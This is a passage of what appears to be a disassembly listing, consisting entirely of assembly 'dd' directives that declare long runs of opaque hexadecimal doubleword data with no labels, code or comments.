		dd 54370B04h, 5480B678h, 0D088C6Eh, 0ACB876E8h,	49FD20Bh
		dd 6F0800F2h, 288833AFh, 6DF96D3h, 7C19C38Bh, 0F00328C1h
		dd 665E15A1h, 8C359841h, 0C919FA5h, 443ED4E1h, 0F34E2E00h
		dd 35691598h, 74B28Dh, 0B96EEBA3h, 0C69B0668h, 14833600h
		dd 0EA61BC0Eh, 754B485Fh, 99760A00h, 0AE064163h, 345C6C92h
		dd 0E188015Ah, 25DF3C02h, 8E008832h, 70B88229h,	3E009310h
		dd 36A6EA03h, 39674E13h, 0A7001659h, 893CE70Ch,	35001E7Bh
		dd 0F5B8B9CAh, 664015h,	4CBFE514h, 0C634338Ah, 3E2081E7h
		dd 0B8AA6417h, 28B31080h, 4EF272EDh, 90BFF601h,	0AF463CA1h
		dd 0B1F1218Ch, 0F004CD39h, 41725FABh, 93168EC0h, 922F00E9h
		dd 680E95A1h, 60198943h, 0E389401Eh, 55C2E0h, 8778B303h
		dd 987656E0h, 0F25CA000h, 4C5D845Ah, 0A9363F40h, 0D815399Eh
		dd 2FCE78B8h, 0DDDB8C03h, 0B0C09716h, 0C03593Dh, 46116472h
		dd 2D006561h, 2E090CCBh, 7C7A30Fh, 253AD034h, 7DD72020h
		dd 0C9C75E63h, 9B503BFDh, 0CD738Ah, 932EB983h, 7784BD5Ch
		dd 9AD5F900h, 0FBA88EC7h, 2D3A0430h, 1C616C3h, 4944A633h
		dd 0E6ADE30h, 0A18C0F0Dh, 21C41626h, 5AB59B00h,	0D0C24ED1h
		dd 3D3C0766h, 91AC0127h, 8CCCDFCBh, 9183ABD9h, 59B20062h
		dd 2D2A5B05h, 972EB8Ah,	52F2BD0Ch, 396E032h, 0FCB14F56h
		dd 0CDE0A987h, 0B73AD5F5h, 0AB6A8022h, 3C562EC4h, 49120A38h
		dd 80D490F7h, 2ADE927Eh, 960028D8h, 314DC991h, 30938F16h
		dd 4815D64h, 1F056048h,	0B9434E83h, 593F9420h, 5D9C0013h
		dd 9EECCD9Ah, 38611519h, 6294F3C1h, 8E68D8h, 0C5B0556Dh
		dd 0F02C5A84h, 0F4B980EFh
		dd 5D217489h, 65A400B6h, 5348D5BDh, 0B000ECCBh,	4118593Ch
		dd 1991686h, 0DBB69212h, 80C8F7B9h, 7BF1CBC1h, 28A65E36h
		dd 0C9C1B4h, 0E5FD838Fh, 93060C01h, 9E19893Fh, 0D000A416h
		dd 0FA38DA4Ah, 0BFE0FB7Dh, 7C117CBCh, 5C95001Bh, 25E6272Fh
		dd 4C030E8Eh, 0B3C9703h, 0FFF158BFh, 28CDBE00h,	8BEE0FCFh
		dd 818980EFh, 5BDE3E82h, 4E4A00D4h, 6EE1BC31h, 6918C773h
		dd 93F17F8Ah, 5A2300E4h, 0AE558C3Fh, 8B017DE0h,	0F6FC9863h
		dd 44F86704h, 8EA8A169h, 313CE3D0h, 0B68117B9h,	6848FE46h
		dd 9302E991h, 96B3FF07h, 7AA8407Eh, 680407CBh, 151638EFh
		dd 0F5A40318h, 0A90093F7h, 6214C487h, 0CE82C9Dh, 0C95438A9h
		dd 460AA150h, 0B16F11D2h, 0C10F0B3Ch, 0C7700FEBh, 3180F210h
		dd 3E02D6h, 813A4A83h, 591104BEh, 68041DDh, 63FB644Dh
		dd 0F1B1C0A9h, 67D88131h, 9642DB06h, 24A83799h,	40FC11D0h
		dd 0AA976393h, 67391814h, 3850198h, 0E7F6B3A3h,	15848440h
		dd 619300D8h, 2321FB3Dh, 0F7C8A19h, 0B239730Eh,	3F981566h
		dd 929228B1h, 3F0318E4h, 7CCE9ED0h, 0F69F801Fh,	0AEB80F49h
		dd 0C855963Ah, 0A8431114h, 14C06E8Eh, 2A1A0DC0h, 0AE89601h
		dd 36E7386Ch, 3DF4F820h, 40098CDh, 4341CCA8h, 0B402EFF7h
		dd 0BC395714h, 5DD490ABh, 36E7BCBh, 257A9683h, 71006989h
		dd 913E92E3h, 3815819h,	3CD02614h, 7DB39EFCh, 82902088h
		dd 158EEB09h, 6A4208Bh,	36FC0B1h, 0B0E7F22Eh, 6950353Ah
		dd 0DE4DB680h, 4539022Ch, 4C573CA9h, 8C2012D0h,	0D4B9112Ah
		dd 93B6007Dh, 523EAC1Ah, 2F002534h, 0FFE41FFEh,	2A814FBh
		dd 7C023D15h, 9FD61926h, 98DC7409h, 0F81060h, 0FF6114D8h
		dd 0F70A23B7h, 0A200A8A4h, 1CC15EB5h, 40CE67h, 9DEFC85Fh
		dd 633C5B71h, 24E09904h, 0CCC84BAFh, 1EE49916h,	3D380029h
		dd 98702A05h, 0D4839401h, 0CB8A67EAh, 0D264F180h, 0E3EC62F6h
		dd 0C0A44B00h, 90596DFFh, 7820F32Eh, 0A9C364D4h, 432A800Ch
		dd 48918145h, 95463C24h, 0B7CB006Ch, 0F172F34h,	1F0E29ACh
		dd 0AC3AAD81h, 541171CAh, 7E9C5Dh, 0C4846834h, 0C1E79977h
		dd 0C251C30Eh, 16760143h, 84626588h, 51B874h, 0EF040B47h
		dd 0BE9D5719h, 91F40200h, 273ECEDFh, 133C982Ch,	4C331506h
		dd 22CA2A30h, 4C028900h, 67B3F1EFh, 0AF6E0084h,	6145FDEEh
		dd 0AA0CF873h, 995AF058h, 0F6920A43h, 1803C2Ah,	0F77BAD39h
		dd 0D3C184CDh, 3680AF97h, 0ED0820Ch, 0AA3E691Fh, 0B4C125C0h
		dd 0B22CFE6Bh, 476E945Dh, 0C6603A22h, 5FD0E6Dh,	62EB801Eh
		dd 0A0748098h, 3E05C0ADh, 0E85B2A59h, 688100C0h, 44B348CBh
		dd 609F4A80h, 9D3A95A0h, 0EC89075Fh, 43BC74Fh, 134041F8h
		dd 8E56BE83h, 375E0D00h, 0D7F14349h, 0F05C00AFh, 0CBC2478Ah
		dd 0ED00CD98h, 9535035h, 902AE13Dh, 2643F827h, 61406781h
		dd 0E0D5ED79h, 45023AB1h, 0A87CBC0Bh, 0A98642Fh, 0A78A0208h
		dd 0F600BB8Ch, 0C9E49FEAh, 503C2A52h, 84252928h, 843C2C80h
		dd 1847B0h, 773A599Ch, 46BDDE97h, 3126853Ch, 638AF1C5h
		dd 4DCF1E8h, 0E093C48Ch, 9D18C29Bh, 47F260C0h, 9F150200h
		dd 4BE10BAFh, 12F8B076h, 263F390Dh, 7230D0E4h, 70491111h
		dd 732E300Fh, 59A8F548h, 24CC694Dh, 32401816h, 0EA0D984h
		dd 0E9058B13h, 0B3115FC0h, 872C1FFDh, 0B8A46C2Fh, 59D4B807h
		dd 0C740A2D0h, 0D4F25C86h, 1096D580h, 0DF00647h, 31F72748h
		dd 1ACA615Eh, 88F04430h, 0D2F2519Fh, 3C8BC02Eh,	0B5CF4C40h
		dd 86EA12h, 5523E09Eh, 3BA1717Ah, 0EF393A60h, 70F89DEh
		dd 6E31D638h, 1E631014h, 4924B171h, 0A8B38497h,	4888DD61h
		dd 74690F8Fh, 4E405994h, 0A8AD7F15h, 2C223B1Eh,	0DC8E0E00h
		dd 2EFF0138h, 77475B1h,	320819D9h, 0CCC4F758h, 7342961Dh
		dd 1304FDB9h, 453CB72Eh, 7D2090C8h, 37560061h, 2496A022h
		dd 0CE663A60h, 6A44B9h,	19EA0982h, 36962BD7h, 0D9AD7E00h
		dd 0A1784C05h, 0EDC70A8Eh, 119C8AC0h, 0F138005Dh, 7FF08DEEh
		dd 0A3950093h, 0A853DA89h, 4400F203h, 0B7F79AD1h, 99D8C8F3h
		dd 353906ACh, 3877B9AFh, 0B00C3624h, 598D5C0Ch,	0BC5654F0h
		dd 7197780h, 110FD2D9h,	0A665C0A5h, 430B6712h, 0F56F03h
		dd 0F098D7E8h, 90EF5863h, 0DD92FC3Fh, 308C138Ch, 9B92B3FCh
		dd 171F5901h, 0DBBE4ECDh, 1E04F020h, 0AC73F30Fh, 0A08500C4h
		dd 0A529955Ch, 44C01096h, 0DB8F43h, 64C5C37h, 0F0187CA5h
		dd 2A00F491h, 2B3ED6F6h, 1CF7483Ch, 80935580h, 5F007245h
		dd 0A528495Ah, 1AEF8ECh, 2019C8ADh, 0E00DE392h,	761E9BF9h
		dd 3E014150h, 714E44D7h, 303A2FD4h, 0CB89A490h,	0DCA8F1C9h
		dd 90B12B39h, 0D380B391h, 0BC745C93h, 0FADDE700h, 756401D7h
		dd 82AD046Ch, 88DBCB81h, 3F1F6078h, 0DCE8E0F1h,	0C101A00h
		dd 27EDB3D0h, 47A20059h, 5B6D6EC5h, 3C18A369h, 0B679B444h
		dd 3A4B0C03h, 9489D997h, 5F63CE00h, 0C3C4E979h,	1107759h
		dd 75892917h, 0F03A46BAh, 0AC59B913h, 8AE180F0h, 4A8F1EDEh
		dd 49C82036h, 4D133B39h, 840A4587h, 8402D462h, 44155208h
		dd 0C6310028h, 0E6858B6Eh, 0DAE725D8h, 0D0030CC4h, 1BD492D1h
		dd 0C8DAFB45h, 0F63F57B0h, 0E76C00DDh, 0FB93F5D6h, 0D0F1A59h
		dd 72473CB8h, 9F090C1Fh, 0F270A378h, 4511DBAh, 99148FB3h
		dd 2919D382h, 2681840h,	1741F39h, 18FF1C9Ah, 0C242C11h
		dd 10311CC3h, 2A00BD8Ah, 721C6D45h, 0AB30B3A1h,	0DC2D08Fh
		dd 0A4365023h, 0D30388C6h, 0FD451016h, 98A4EC0Bh, 2C78E0h
		dd 4EEA0B5Eh, 7F2A4BCDh, 26AD7CEBh, 0DB60ECD1h,	2C60F2h
		dd 0DF089742h, 3207F47Dh, 0DA63B200h, 77F91259h, 5464E4C9h
		dd 69B816h, 197AB07Eh, 0FD4D917Ch, 88769E00h, 113127CFh
		dd 36212445h, 0AC02009Ch, 3CA6297Eh, 418EB832h,	70052F0h
		dd 78E1DD44h, 10FAA0B2h, 52005628h, 46DA17AEh, 1F39AE0h
		dd 4CB48BCh, 39112483h,	5AAA00D4h, 0EAB889Bh, 673712C4h
		dd 404C1C7Ah, 3F59BE44h, 0AD00C0BCh, 0C938E399h, 24297CC8h
		dd 0E7C4AFEh, 299E6697h, 0F1F600A4h, 2B591D44h,	0BB0E8D09h
		dd 0C9C4806Ah, 26C9BA1h, 6246A08Eh, 0A8E4C2C8h,	0CF791002h
		dd 2F2A327Ah, 0E11DEC94h, 0CD250536h, 4A6482A4h, 0C78F5865h
		dd 0AB84DE61h, 0A6808360h, 0D808C9h, 652122D5h,	0E8EFAEC7h
		dd 9E002C90h, 520A2319h, 473A8Bh, 30593D62h, 43886BAAh
		dd 86845C48h, 0F08913B6h, 0FC3A488Ch, 0C95EF0C2h, 0D0127B00h
		dd 23B700DAh, 0A6968C2Eh, 0C04E10Dh, 0A902CE2Ah, 90E960C0h
		dd 41826164h, 0FCC4ED20h, 3007CBAh, 549D4CF9h, 748D9997h
		dd 981D13C1h, 27A40436h, 3395455Bh, 0B81E88Ch, 7DD58AA0h
		dd 0B5BA8081h, 0E5A8D90Fh, 6631814Eh, 76CCD75Bh, 2E38C420h
		dd 1D7045A3h, 0EF0C4043h, 39E587B3h, 1174C4A0h,	9EBA34A0h
		dd 0DC221600h, 939B09Bh, 9820F54Ah, 7B4E30C1h, 9C279930h
		dd 2D6E4313h, 1DA1C888h, 40094F6Ah, 0DF89F905h,	0CF0CFB1Dh
		dd 0B9A48AB9h, 31EB1DC0h, 240E80C2h, 0D0396532h, 0B8408B4Eh
		dd 0BD626C47h, 15050273h, 0A71FEA7Bh, 138941C0h, 17EE3E01h
		dd 9FA33FABh, 0F0A480F2h, 0A0984744h, 4C0F0E84h, 0DA80D415h
		dd 8A489CC0h, 3639D924h, 313EA90Bh, 8203D4Ch, 0E88A58F9h
		dd 57EBA283h, 62FA22A0h, 375A1378h, 43315020h, 82D90E46h
		dd 7800B798h, 4D5CA1ADh
		dd 32553904h, 0C852A734h, 30E1740h, 6912A5ADh, 8A8CE889h
		dd 9B500267h, 6EFBA797h, 26D3B080h, 714F4381h, 35A40827h
		dd 3CB360C0h, 19DA645Eh, 4DB4C8F0h, 848F6200h, 0ECE9C85Dh
		dd 0FE730020h, 0F471DC3Dh, 893A7703h, 181F8023h, 76CBD05Ch
		dd 0D8FE581Bh, 7FF6F301h, 80AB7043h, 0A6EE3F59h, 543DA9D5h
		dd 1383945Fh, 1200280h,	64942B8h, 0D526DD89h, 803C3C52h
		dd 47A9E5A5h, 92A00734h, 503FB1D2h, 3784EC57h, 6B483316h
		dd 71ED8C00h, 23EC41Ch,	86271065h, 0FC60EAFBh, 8E407B0Dh
		dd 9871149Eh, 8B80E43Ah, 0D7F98524h, 0C7CBE113h, 727B1820h
		dd 406E4F11h, 0E694B028h, 1BF8E72Dh, 8B00087Fh,	1EA05FB7h
		dd 7BF55DA7h, 0B0B27107h, 3A2A02F5h, 463C9245h,	0F12AA464h
		dd 990FACBEh, 40D74383h, 6B1AF7FDh, 39EE00CDh, 653445A1h
		dd 0BE26F89Ah, 0A23848E7h, 0C8740C12h, 0EAA1DDC7h, 3A397313h
		dd 949FB490h, 7E2D14A3h, 997EC7B1h, 92778074h, 57FBE093h
		dd 457FBB02h, 804C46ADh, 1B26F6D4h, 0D15B0049h,	8680784Eh
		dd 90A4C1CBh, 0FA624301h, 3FDC4FE2h, 134289DCh,	0B69C720h
		dd 2C8507E0h, 61D8C0A9h, 0ECA84811h, 2F00CFB1h,	0C7EDDB94h
		dd 2094483h, 0B0A95EA3h, 0E2205589h, 16999C5h, 7C760FF5h
		dd 0C45B2206h, 63306581h, 0F9E5C1E4h, 4B100DFh,	15C13A5Fh
		dd 8F0E845Eh, 277BE3BFh, 91D37DA2h, 0A3104B5h, 0C011F8EEh
		dd 8CE567F9h, 72278302h, 521580FCh, 0FAB51EECh,	0D616827Bh
		dd 0CB40C88Dh, 9A007A5Ch, 73C6BAE6h, 2C928167h,	4080F70Ch
		dd 0F1F58FC1h, 0C7AF8701h, 5A254914h, 24C0B07Bh, 3ACD70FDh
		dd 8453384Ah, 72FA8405h, 84312C95h, 0FB00E3E1h,	0A8747B05h
		dd 5295ED24h, 1001273Ah, 0F4470980h, 56FD0006h,	44E969C0h
		dd 0C00074Fh, 0A2A19F87h, 0FD0F428h, 8CAEF259h,	0B2EAA5C4h
		dd 0E2470070h, 261DE9A3h, 978707Ah, 46EF9862h, 205D0484h
		dd 3EE08696h, 44112393h, 24F12887h, 8235EE00h, 1C7D3C15h
		dd 0A28C046Fh, 8050A8B0h, 94D79ADCh, 2CA9EA09h,	3C98216Bh
		dd 2444825Fh, 5CD088h, 0CE8AA0Bh, 0D462309Fh, 0C004527Fh
		dd 0DD3A243Eh, 24A138A4h, 8174DF3Bh, 257AA992h,	0CE0DCC99h
		dd 0C574FF04h, 58F464CAh, 8EC0042h, 0F86F8ECDh,	721F79DCh
		dd 8F40663Ah, 98193E5Bh, 804CBC15h, 24C59F2Dh, 2E004AB7h
		dd 7240EC7Fh, 3C74D662h, 3E0A7085h, 13CC0227h, 0B3542059h
		dd 0A1245391h, 0A2005226h, 8A20D59Bh, 0CD0E26F1h, 0C05464C8h
		dd 0D7EEBB3Fh, 0B082A04h, 0B4801A8Ah, 0E97B5185h, 7791F4h
		dd 387210F4h, 1E2A132Bh, 25B51C05h, 40B229DCh, 0BA288200h
		dd 0E0DE2C55h, 5EC52E02h, 92FD5F43h, 994C90ACh,	9C050E4Eh
		dd 0F84093F2h, 726C4D07h, 920CE4EAh, 0A14711C9h, 0EA37008Ch
		dd 0B686F76Eh, 27090B23h, 483A8EC8h, 68B3BCh, 358CEB9Eh
		dd 3F01A1D5h, 742CC37Bh, 0AE41A48Ah, 0BBD8FC8Fh, 23C10047h
		dd 4975D72Fh, 2B3A983Eh, 29C52A8h, 3B0F95A1h, 0F6E4C43Ah
		dd 7C83007Eh, 817E5A0h,	177BF57h, 0FC787502h, 0E1EE2EC1h
		dd 0E6CAFBCCh, 8D0D1C1Ch, 4B15C794h, 7CC200EAh,	0B20E7024h
		dd 2BAD84F9h, 2C68C4DAh, 11907C8h, 0F50D5E39h, 0E2C02178h
		dd 0A124B622h, 993A9B50h, 9A054078h, 8218AA0Ah,	0DCE0FB14h
		dd 51F123Ch, 0EAC1EDD7h, 0BFB9436Bh, 79382442h,	0E1CC186Ch
		dd 61011C8Fh, 93BEFE05h, 0D2700E70h, 99300E38h,	7AA4C006h
		dd 37588262h, 8A8C1060h, 7700DCB1h, 0A088BECFh,	0F7AA2D4Ch
		dd 7C801CAEh, 71B32DE8h, 0E5811501h, 0D940533Bh, 9272420h
		dd 0F77545ABh, 0F637B410h, 675C191Ch, 0BB229683h, 0CB1AE1DBh
		dd 0F453DCD1h, 0E214E2D6h, 4F306439h, 37A01260h, 4FCD0054h
		dd 4A192718h, 0AF198CAAh, 17EEEE0h, 2F3C5270h, 30285496h
		dd 8488553Ch, 0F62270ECh, 36A03D46h, 2C85913h, 197CAD84h
		dd 0E6006859h, 0A24F25B0h, 5E960045h, 0CD67F06h, 754C46A0h
		dd 9DAB1F6Ch, 92128B80h, 0BA73AB2h, 0D43003AFh,	21E0EC0Eh
		dd 0AB112488h, 63A11067h, 32014540h, 0D4AD0E97h, 0AA015966h
		dd 0EF77935Bh, 433CBFF0h, 126334BCh, 36888127h,	3FC20h
		dd 0A093EA08h, 7CD79BE1h, 0B9B71C00h, 3F7B29F0h, 11BD01D3h
		dd 3ADEA645h, 2C5C3303h, 3B403016h, 7F0E2EBEh, 0C4180172h
		dd 0F9096E73h, 0A45D71ECh, 0F042B47Eh, 4FE8207Ch, 8300552Ah
		dd 6CB20711h, 7912EE3h,	155B9996h, 0D1472B0h, 0A47A9062h
		dd 56F16000h, 900E62C4h, 15DD0085h, 72A683Fh, 452506A3h
		dd 6F888067h, 4EDCEC0h,	0DDA99E44h, 6EE888F0h, 70170800h
		dd 0C1372C49h, 72FB002Ah, 0E3F813A0h, 42803A9h,	0B401C844h
		dd 604A7AC4h, 7171615Bh, 0A1C0DF21h, 0D1F0A2F3h, 0C22C002Ch
		dd 89AC9175h, 0AE9B8C00h, 74933F0Ch, 2E1F1472h,	0A700E811h
		dd 31BB275Ch, 0B8B932E9h, 8081D08Bh, 5CE2EE03h,	758C009Ch
		dd 0E13654F2h, 6800A0D3h, 90347B50h, 0FCAE4573h, 773B0BEAh
		dd 98C96493h, 996CC010h, 3456D100h, 0D65E30Ah, 1D43B811h
		dd 5731B7B1h, 0E1D70292h, 3454393Ah, 0D7530A40h, 24D201CCh
		dd 127727Ch, 0C0512039h, 0D08AE22Ch, 88446043h,	7833B30h
		dd 0E79C14A4h, 235E0F8h, 5A0E8B73h, 65B3E638h, 34F23FA3h
		dd 2D10AC00h, 0EA962090h, 970077E2h, 0BEB402E5h, 0C3E0BDEh
		dd 0BAF76B58h, 80003769h, 0A1F5AAA4h, 18E4C8Ah,	0E8277B93h
		dd 0EEC02FA0h, 2105684Ch, 0AC425C7h, 9F893CC0h,	0B842491Eh
		dd 20BD8D00h, 9B9E5162h, 828F923Bh, 0D995B690h,	3AED6171h
		dd 27809068h, 0CB424465h, 0BBC0EC0Eh, 918380C8h, 0EF1E06h
		dd 5F8404Fh, 0D4C6FF77h, 7AF042h, 1C83F2DFh, 574B99B6h
		dd 7BA3400Bh, 0E5188084h, 6E277DDh, 64C694C3h, 7900B99Bh
		dd 3AC5074Dh, 2430A7AAh, 0FCE3AFh, 23E67C8Ch, 0F82F777Fh
		dd 0B8841064h, 96200AEh, 0A531632Ah, 1002EE36h,	28E5F392h
		dd 5BDC8070h, 58356Ch, 0A0988C07h, 0E68808Ah, 3E71B600h
		dd 27D0444Ah, 2ADB00A3h, 0AFB2AC0Dh, 3924F6FBh,	29449096h
		dd 0F700B4A2h, 7CBD1ECCh, 0F02640CDh, 0D804AC73h, 9209BFA8h
		dd 32DA9490h, 6F839509h, 381680F6h, 9964370Bh, 354D0054h
		dd 0D3039BB2h, 3D75EB00h, 46DDC7EEh, 0BD370301h, 0A4163876h
		dd 3A2B27E0h, 4A0E2D03h, 58B73F39h, 0C7226C99h,	80B4123Eh
		dd 1C7B4413h, 0D5D41Fh,	0E9A0A849h, 55842711h, 7D9BC31Eh
		dd 4972F90h, 8004C8DCh,	0DB2427E4h, 2E4C1858h, 0AA2850F8h
		dd 5610A817h, 8024EC27h, 8190E424h, 4D9A3Fh, 0B3A8B57Ah
		dd 1474B7EDh, 0B35935F7h, 3A90C904h, 0EC68892Bh, 0B6017507h
		dd 0C2F5B44h, 0E08693A1h, 0D1CD3BBFh, 32C01700h, 7C4BBBE1h
		dd 0B0D700BEh, 92636FB3h, 792E09B4h, 9C0FAC31h,	7CC6C71Ch
		dd 1523BFC0h, 6C60E39Fh, 0E2B8811h, 809C78F1h, 1E37857Bh
		dd 4C34B865h, 3B2D5F18h, 0B5AC9CA0h, 8B74A509h,	0E95D0370h
		dd 0C3EE0008h, 0C11AD81h, 44B890B6h, 0FE1439B4h, 2D40677h
		dd 2CA87530h, 9E98A157h, 10109B65h, 3A00197Eh, 0C380780h
		dd 5C3048h, 0FB74BFF4h,	0A9CBA428h, 21A4601h, 0B8E35133h
		dd 9D04003Ch, 878F4541h, 2EA916C0h, 981A0C0Ch, 0AE9092h
		dd 39AA69B3h, 0FB3D7B49h, 90AEB3Ah, 0E4B8CFE1h,	73C50040h
		dd 879B141Ch, 0DA007EF0h, 0CC0C990Bh, 0F465A656h, 1FAC923Ch
		dd 4052751Bh, 8F550881h
		dd 2A01EFE4h, 0E2B065C8h, 38689220h, 9BA5D280h,	56009501h
		dd 776F0A10h, 78711AF5h, 0B44B25BEh, 115D6461h,	0F1202319h
		dd 3ACDF8B0h, 0C78106EDh, 95D73DA5h, 0BD44202Ch, 0CB36AC09h
		dd 1B05AB3h, 0DCE77973h, 2881FBB5h, 133E8058h, 2CF7B21Eh
		dd 2C0EFA01h, 0E9080010h, 69CD872Eh, 0CA46F14h,	484625CCh
		dd 4026B8h, 6297073Ch, 74D71E3Fh, 18FBA813h, 14D02000h
		dd 4F1216Bh, 0C88A893Ch, 821088C0h, 0CEBCC0Ch, 20B041h
		dd 0D89F7A47h, 0DFCB57F9h, 390580B1h, 34B4ACDDh, 4FC5AF7h
		dd 0C01AB108h, 6EBD5CD9h, 217B0627h, 0DBC860A0h, 800BF039h
		dd 44E8114Dh, 3F00916Eh, 0B30CC157h, 79FB8351h,	63E2271Dh
		dd 3ECC7C20h, 2C00C87Bh, 0A8EE819Eh, 150666Eh, 0DAF815D8h
		dd 70404C01h, 0BF887CD4h, 50E300B6h, 0DAE97FA2h, 3600D99Ah
		dd 0D5ED0D10h, 17963AAh, 9D5F7868h, 2C39FB85h, 9ED480A4h
		dd 0D50D51h, 0BE2D760Ah, 50C1D146h, 0D2B61202h,	0F210B5F2h
		dd 30109D70h, 0B000608Ch, 690BF945h, 487A8346h,	746403h
		dd 0D15D876Eh, 3C78CCB8h, 823395Fh, 0CDADA0F4h,	0F5050167h
		dd 0CB1F4AF8h, 619849C1h, 84E46074h, 0A9A7105h,	0A4B2E00Eh
		dd 30024800h, 3458EAEDh, 8E44B207h, 0BEE0A7DFh,	9D93E0C3h
		dd 0FF255890h, 1A694400h, 0D359825Eh, 703E0061h, 8DA0201Ch
		dd 98009B73h, 570AF05Ch, 0B411C2D5h, 0FE2680FCh, 7677A85Eh
		dd 5200C3E4h, 19E924E5h, 2E7A55AEh, 643460BCh, 4E91804Fh
		dd 893EA613h, 3A419D06h, 8405B82Ch, 88C824AFh, 80A0963Bh
		dd 55301B7Fh, 240FCACDh, 0C7E2698Dh, 8192F8D7h,	0A6ACE1AAh
		dd 0F7D035C1h, 0BC016E3h, 305CC853h, 84E8BD04h,	80C2AA50h
		dd 0BC1CC094h, 40B0BC3Ah, 6945A33Eh, 0C996A4A0h, 1D5A1122h
		dd 429BCCF9h, 1CD76B80h, 946930E0h, 0BFE7B307h,	6845F873h
		dd 0F8318833h, 0EBA729h, 4C6CFDAAh, 92D936F9h, 18B64801h
		dd 8F5EAF13h, 26705DC1h, 443D0022h, 0EC5FB7F4h,	58000848h
		dd 0D817E710h, 1D9A6807h, 0BC9F4E5Ch, 1F77A73Eh, 805DF67Ch
		dd 5B913F52h, 7575F429h, 6F02B706h, 128C932h, 23B84F17h
		dd 0E0784D09h, 0F60020BEh, 9354403Fh, 1D86B11Ah, 0E26AA9h
		dd 0A671B008h, 0A5002AA2h, 0B1C5E627h, 0F007A73Bh, 8F510E5Ch
		dd 6F03DA30h, 6114120Fh, 0D9D0D03h, 0B0FE9856h,	77EA4F0h
		dd 0DADE82A5h, 65F6E08Dh, 50073FBh, 0D606E784h,	3F7940h
		dd 0DCC89A09h, 7166B7CEh, 0BDEF0B00h, 86A86AA2h, 338C01E9h
		dd 7DD63DC4h, 0C9718E17h, 9969588Eh, 24F80062h,	0F196FCBAh
		dd 0E0784383h, 0CC15483Eh, 98A87A50h, 800EC4C0h, 0A089D537h
		dd 0FC5DFAE2h, 0BA2C0ECEh, 498A751Fh, 5AF8060h,	83A2A9A8h
		dd 8EB78C13h, 1C91A006h, 0FD9F3021h, 332F7B59h,	0E900DAF4h
		dd 557CDB2Ah, 0EED30B02h, 31D46298h, 21C00122h,	0AC008614h
		dd 18FE505Eh, 4D83BEh, 0F0959ADBh, 0A51BA399h, 39002BF8h
		dd 0BF91B19Ch, 3008C9F4h, 3A71F09Fh, 0DE3B17DAh, 0B805B859h
		dd 0CA22017Ah, 0F239C882h, 5158D610h, 75B1A802h, 8EEBEC49h
		dd 7AD702E0h, 88A4A1C8h, 6C10E099h, 0D11E5540h,	2D81FFDAh
		dd 0E660810h, 30AC4024h, 8481FA6Bh, 7D061BEFh, 3D6EFFB7h
		dd 0FB310E41h, 49C075FDh, 0C03B21Ah, 0A7BC100h,	5F186B8h
		dd 0BD6C1F3Fh, 6E10C648h, 52003938h, 0EFF8D65h,	7D5FDAD9h
		dd 95F21E06h, 0A985033Ch, 79000380h, 8A986E0Ah,	3F33369h
		dd 6FED73BBh, 51E23F6Ch, 0B7F8E960h, 7E1FA61Dh,	3873B9F0h
		dd 3C4008Bh, 90D64A8Eh,	0A6EA0807h, 0E5421C9h, 68801E44h
		dd 13F666A5h, 122F0055h, 35D4BB8Eh, 0FD033F2Dh,	7F69B550h
		dd 0E839078Ah, 10900BE2h, 0EEAE3C0Ch, 721DFD00h, 78A28581h
		dd 0A8DD0433h, 8860B7ABh, 7D30C7D8h, 0BBCC41B8h, 437008Ch
		dd 84DA89EDh, 7E508241h, 0F828F410h, 0BC008F2Ch, 43AE8F53h
		dd 14AF5A3Fh, 447E8EB6h, 3DE2FA00h, 0F581FCF4h,	12724201h
		dd 0A170391Eh, 0AD6CD4h, 76D1D260h, 0B3B82F4h, 0E1500C90h
		dd 2D734194h, 128D0909h, 4004106Eh, 0B8E8001Bh,	0C9F9AEE2h
		dd 4504E707h, 69540509h, 0D81E71C5h, 4831E558h,	0BC0B1FFCh
		dd 8B58C45Eh, 0C41C8285h, 56812620h, 80E2E56Fh,	444B51B0h
		dd 0B0D3005Dh, 0C539DDFh, 4892110Fh, 60848E03h,	9034BAF3h
		dd 62AF469h, 3AC8B81Ah,	49071EBh, 383A1142h, 7EE06A44h
		dd 5B117B60h, 0E8F106h,	4097028Bh, 3A9E99B1h, 0DED91600h
		dd 8857CD22h, 648E54C8h, 0EA870A21h, 80248F32h,	4F18D792h
		dd 460035D9h, 4A5140A1h, 9F2859h, 0D594A380h, 2299FF8Fh
		dd 6E0D88h, 850E4104h, 0ED91063Ch, 9448D60h, 179F111h
		dd 69025D16h, 80AB6B08h, 0E28EAC69h, 2FD472Dh, 8426D560h
		dd 73C0EED3h, 91000E1Fh, 5E7318C2h, 79B1B7D4h, 5F9A0713h
		dd 2A32106Dh, 0C7EC8088h, 0EDC3F272h, 980F3426h, 0C5935040h
		dd 5362025Dh, 99F805DCh, 81007464h, 31941FA8h, 1DFC8698h
		dd 91243767h, 7FEA00D7h, 49A6F0C2h, 0CD05042Ch,	0C08175D3h
		dd 0CF13FF70h, 0A8920F72h, 0A36EECE5h, 337C3B00h, 75C6B188h
		dd 265F1E0Eh, 7837C094h, 0F9E17A1Ah, 0FE181572h, 0C469D66Eh
		dd 97898h, 0A0DAF56Bh, 533D9A6h, 3057160Ah, 478394A1h
		dd 0A00C6521h, 4FDF79h,	0ECB607A4h, 7BD72604h, 4747448h
		dd 548B7F9h, 5480BC94h,	0C9F62F1h, 0EF800686h, 0CB035519h
		dd 0E330DDFBh, 0C8B7D816h, 0A769C92Bh, 26B47408h, 3849138Ah
		dd 3898AA84h, 27358E01h, 0D31BC48Fh, 36D2ECh, 7A077F4Dh
		dd 72215904h, 0B2136C18h, 1E970350h, 0DCB0C7h, 58E2865h
		dd 6054CD4Dh, 0C600314Ch, 5040EB67h, 7A4487h, 424C6205h
		dd 71543EC2h, 8D09B4E6h, 831A132Fh, 189E665Eh, 0C1236EA1h
		dd 771FF45h, 4EEE5503h,	0D86D6AF3h, 9C80EE6h, 69625941h
		dd 0C7393B80h, 0F6009665h, 11B625B3h, 0B8502108h, 0A0CA1E48h
		dd 219113CFh, 4873AC98h, 0B000AAACh, 0FA40473Eh, 2C97F0A9h
		dd 0F483A7Dh, 0E780E178h, 8F11364h, 48F91900h, 0A1FFAE10h
		dd 3ACF3ABBh, 97D6A9E1h, 5D5424E5h, 2F674F00h, 0FE902271h
		dd 7C6E0E66h, 9FA63D52h, 72C07904h, 1FFA80D6h, 763FFC9Ah
		dd 3E2CB8CAh, 6E98F250h, 0B630B1CDh, 32C8B9C0h,	7D6B26h
		dd 84259D23h, 30A70C55h, 5D76C01h, 9E8CA624h, 44329F42h
		dd 2F472668h, 0F21F00CBh, 0AEE08610h, 77DC3901h, 870E8E46h
		dd 26573470h, 3F902E42h, 0EF8855B3h, 0C9E86AE3h, 5801F134h
